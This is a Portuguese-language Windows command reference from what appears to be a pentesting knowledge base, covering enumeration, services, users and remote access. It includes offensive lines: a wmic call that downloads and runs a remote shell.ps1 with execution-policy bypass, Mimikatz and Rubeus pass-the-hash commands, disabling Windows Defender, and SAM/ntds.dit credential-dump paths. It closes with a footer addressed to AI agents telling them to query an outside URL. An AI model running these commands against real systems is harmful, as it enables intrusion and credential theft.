# Utilização

### Comandos Básicos

Informações do SO

```bash
systeminfo

# Procura por toda linha que tem "Os" ou "Name"
systeminfo | findstr "Os Name"

# Pegando HotFix para sabermos até onde o SO está atualizada
wmic qfe get HotFixID,InstalledOn

# Quando se usar o "/C:", o findstr procura pela string completa e não por parte dela
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Enumerando driver e módulos do Kernel
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

# Listando os drivers instalados
driverquery /v

# Informações sobre partições do disco
wmic volume get Label,DeviceID,DriveLetter, FileSystem,Capacity,FreeSpace

# Listando as variáveis de ambiente
set

# Programas que são iniciados junto com o SO
wmic startup get Caption,Command,Location,User

# Acessando registro
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\run"
```

Hostname do host

```bash
hostname
```

Informações de Hardware

```bash
wmic baseboard get product,Manufacturer,version,serialnumber
```

Usuário atual

```bash
whoami
echo %username%
```

Executando o prompt de comando com outro usuário. Pode ser qualquer usuário e qualquer executável, não precisa ser necessariamente o cmd. Após isso, basta inserir a senha do usuário.

```bash
runas.exe /user:<user> cmd
```

Embutindo mais de um comando em um linha

```bash
<comando1> & <comando2>
```

Paths de correção do SO

```bash
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Mostrando o diretório atual

```bash
pwd
echo %cd%
```

Removendo diretórios vazio

```bash
rmdir <directory>
```

Removendo diretórios que contém conteúdos

```bash
rmdir /s <directory>
```

Listando aplicativos instalados pelo Windows Installer

```bash
wmic product get name, version, vendor
```

Listando atualizações do sistema

```bash
wmic qfe get Caption, Description, HotFixID, InstalledOn
```

Verificando arquivos ocultos

```bash
attrib -s -h -r /s /d *.*
```

### Serviços

Restart

```bash
wmic service NAMEOFSERVICE call startservice
net stop <service> && net start <service>
sc start <service> ; net start <service>

Stop-Service <service> && Start-Service <service>
```

Configurando

```bash
# Desabilitando um serviço
Set-Service <service> -StartupType Disabled
```

Detalhes sobre um determinado serviço

```bash
sc qc <service>
```

Verificando status do serviço

```
sc query <service>
```

### Processos

Listando todos os processo

```bash
ps
tasklist
taslist /SVC

# No exemplo abaixo, estamos utilizando o serviço winlogin
wmic process list brief | find "winlogon"

# Verificando qual usuário está executando determinado serviço
tasklist /V | findstr <service>
```

Matando processo

```bash
taskkill /PID <number_pid> /F
taskkill -pid <pid>
```

### Schedule

Visualizando todas as tarefas agendadas

```bash
schtasks /query /fo LIST /v
```

### Redes

Informações básicas

```bash
ipconfig /all
route print
arp -A
```

Mapeando Unidade de Rede

```bash
net use z: \\<ip>\SYSVOL # Atribuindo a letra "z"
net use * \\<ip>\SYSVOL # Atribuindo a primeira letra disponível
net use z: \\<ip>\<directory> <pass> /user:<user> # Atribiundo a letra "z" e fornecendo os dados para realizar a autenticação
```

Acessando Unidade de Rede

```bash
net use \\<ip>\IPC$ "" /u:""
```

Removendo uma Unidade de Rede

```bash
net use z: /del
```

Removendo todas as Unidades de Rede

```
net use * /delete
```

#### Conexões

Abaixo, podemos lista todas as conexões remotas, assim seus processos, portas e PID.

```bash
netstat -ano
```

###

### Acessando Hosts Remotos

#### PSExec

Acessando localmente com a conta de outro usuário. Note que após isso, será necessário informar a senha

```bash
.\PsExec.exe <DOMAIN>\<user> cmd
```

Acessando o Domain Controller

```bash
.\PsExec.exe \\<hostname-dc> -u <DOMAIN>\<user> -p <pass> -h -i cmd
```

#### runas

```bash
runas /netonly /user:<domain.local>\<user> powershell
runas /user:<domain.local>\<user> powershell
```

#### PSRemoting / Enter-PSSession

PSRemoting vem habilitado por padrão nos Windows Servers (a partir do 2012) e em máquinas Windows 10, é preciso habilitar manualmente (vide comando abaixo) onde é preciso ter direitos de administrador local

```bash
Enable-PSRemoting -Force
```

Existe, duas maneiras de realizar o acesso via PSRemoting:

**`Sem Estado`** = Dessa maneira não segura uma sessão, por exemplo, se criar variáveis, sair e voltar nomente a acessar a máquina, as variáveis serão perdidas. Ao fazer isso, você irá estar logado na máquina alvo.

```bash
Enter-PSSession -Computer <hostname.domain.local>
```

**`Com Estado`** = Semelhante a forma anterior, porém esse pode manter uma sessão ativa (persistiva)

```bash
# Criando a conexão
$session = New-PSSession -ComputerName <hostname>
# Verificando se a conexão foi criada
$session
# Acessando o host
Enter-PSSession -Session $session
```

**OBS.:** Sempre que uma sessão for aberta pelo PSRemoting, é executado um novo processo em `wsmprovhost`.

#### Invoke-Command

Também podemos executar comandos em um determinado computador ou em um lista de computadores. Isso é útil para executar scripts de forma massiva. Substitua o `-ComputerName` por `-Session`, caso tenha sessões ativas (verifique acima como criar uma sessão).

```bash
# Executando comandos em uma determinada máquina
Invoke-Command -ComputerName <hostname.domain.local> -Credential <user> -ScriptBlock {<command>,<command>}

# Executando comandos em vários máquina através de wordlist
Invoke-Command -ScriptBlock {<comand>,<command>} -Credential <user> -ComputerName (Get-Content <hostname_wordlist.txt>)
```

Caso queira executar arquivos ps1 em uma máquina de destino, não é preciso fazer o upload do arquivo na máquina alvo, muito menos acessá-la e depois fazer o download. Para isso podemos fazer de forma remota, executando o arquivo em memória. Note que esse arquivo será executada na máquina do atacante e então será disponibilizada para a máquina alvo, então execute `Set-ExecutionPolicy` antes.

```bash
Invoke-Command -FilePath <C:\local\file.ps1> -ComputerName <hostname>
```

Para melhorar mais a vida do atacante, é possível carregar um script malicioso (por exemplo, o mimikatz) localmente e chamar a função remotamente. Sendo assim, nós carregamos todo o Mimikatz na máquina atacante e, na hora de executar o script (após ter carregado o ps1), vamos chamá-lo de fato, porém este vai ser executado remotamente na máquina alvo.

```bash
Invoke-Command -ComputerName <hostname.domain.local> -Credential <user> -ScriptBlock ${Function:<function>}
```

#### wmic

```bash
# Fazendo consulta remota para pegar informações
wmic /node:<ip_dc> computersystem get name,username,domain

# Executando arquivo remoto
wmic /node:<ip_dc> process call create "powershell.exe -nop -exe bypass iex(new-object net.webclient).downloadstring('http://<ip>/shell.ps1')"
```

#### rubeus

Altere o hash NTLM no final do comando

```bash
rubeus.exe asktgt /user:<user> /domain:<domain.local> /dc:<ip> /rc4:ff12e823a1638dee972fa3cb04156a2e
```

#### Mimikatz

Altere o hash NTLM no final do comando

```bash
mimikatz.exe sekurlsa::pth /domain:<domain.local> /user:<user> /rc4:ff12e823a1638dee972fa3cb04156a2e
```

###

### Windows Defender

Verificando todas configurações do Windows Defender

```bash
(Get-MpPreference)
```

Para verificar uma determinada configuração do Windows Defender, coloque o seu nome no sufixo do comando. No comando abaixo, utilizamos o `ExclusionPath` para saber em quais diretórios o Windows Defender não está atuando.

```
(Get-MpPreference).ExclusionPath
```

Para desabilitarmos a proteção em tempo real do Windows Defender, podemos utilizar o seguinte comando:

```bash
Set-MpPreference -DisableRealtimeMonitoring $true
```

### Gerenciando Usuários e Grupos

```bash
# Listando todos os usuário locais
net user

# Verificando todos os usuários (Locais e AD) e seus respectivos SID/RID
wmic useraccount list brief

# Lista todos os usuários do Domínio
net user /domain

# Vendo detalhes de um determinado usuário local
net user <user>

# Verificando detalhes de um usuário do Domínio
net user /domain <user>

# Desativando a conta de um usuários no Domínio
net user <user> /domain /active:no

# Visualiza todos os grupos do Domínio
net group /domain

# Vendo membros e grupos de domínio
net group /domain <group_name>



# Adicionando um usuário em um grupo do AD
net group "<group>" <user> /add /domain

# Removendo um usuário em um grupo do AD
net group "<group>" <user> /del /domain



# Criando usuário
net user <user> /add
net user <user> <password> /add
net user <user> <password> /add /domain


# Criando usuário (Powershell)
$securestring = convertto-securestring "<new_password>" -asplaintext -force
New-LocalUser '<new_user>' -Password $secure


# Alterando senha via comando no Windows
net user <usuario> <nova_senha>

# Deletando um usuário
net user <user> /delete

# Ativa o usuário <usuario>
net user <usuario> /active:yes

# Adicionando o Usuário ao grupo de Administrators
net localgroup administrators <user> /add
net localgroup administrators /add <user>
Add-LocalGroupMember -Name '<group_name>' -Member '<user>'

# Removendo o Usuário ao grupo de Administrators
net localgroup administrators <user> /delete



# Verifica quais os usuários que fazem parte do grupo Administrators
net localgroup Administrators

# Verifica quais os usuários que fazem parte do grupo
net localgroup /domain

# Quais usuários/grupos tem no SO
net users
net localgroup



# Verificando usuários logados computador atual
query session

# Verificando usuários logados computador remoto (necessário ter privilégio administrador)
query session /server:<host>
```

###

### Arquivos Importantes

`c:\Pagefile.sys` = Também chamado de memória virtual, é um arquivo criado pelo Windows para compensar a capacidade limitada da Memória RAM. Essa memória (no HD) será utilizada quando a RAM estiver cheia, semelhante ao SWAP do Linux

###

### Recuperando Senhas

Para recuperar a senha do Windows, precisamos de dois arquivos: `system` e `SAM`. Depois de ter esses dois arquivos, você pode extrair o hashed usando o `pwdump`, desta forma:

```bash
pwdump systemfile samfile
```

Os  arquivos `system` e  `SAM` podem ser encontrados em locais diferentes, então experimente todos eles. Em um servidor da Web, o caminho pode diferenciar maiúsculas e minúsculas, embora seja o Windows. Abaixo estão os caminhos mais comuns:

```bash
windows\repair\SAM
%SystemRoot%\system32\config\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

{% hint style="info" %}
**ATENÇÃO.:** Para acessar o arquivo `SAM`, precisa estar como usuário `system`, pois nem o usuário **`administrador`** tem acesso a esse arquivo. No registro (regedit), podemos localizá-lo em **`HKEY_LOCAL_MACHINE\SAM`**.\
Nos Controladores de Domínio (Domain Controller), o arquivo está em **`%windir%\WindowsDS\ntds.dit`**
{% endhint %}

###

### Buscando por Paths de Serviços sem Aspas (Unquoted Service Paths)

```bash
# Usando WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\\" |findstr /i /v """

# Usando sc
sc query
sc query "<service>" STATE
sc qc service name
```

Procure `Binary_path_name` e veja se não está entre aspas. Se o caminho contiver um espaço e não for citado, o serviço estará vulnerável

### Liberando Acesso RDP no Firewall do Windows

```bash
netsh advfirewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name="rdp" protocol=TCP dir=in localport=3389 action=allow
```

### Listando Drivers Instalados

```bash
driverquery

# Verificando a versão de determinado driver. Remova o filtro com Where-Object para retornar todos os drivers
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*Microsoft*"}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/sistemas-operacionais/windows/utilizacao.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
